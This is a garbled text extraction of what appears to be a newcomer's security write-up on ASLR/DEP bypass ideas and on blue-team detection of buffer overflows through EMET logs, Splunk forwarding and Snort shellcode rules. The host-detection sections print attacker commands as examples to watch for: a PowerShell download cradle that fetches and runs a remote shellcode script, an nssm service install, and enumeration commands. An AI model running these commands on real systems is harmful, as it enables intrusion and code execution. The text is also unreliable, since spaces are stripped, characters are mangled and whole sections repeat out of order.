httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
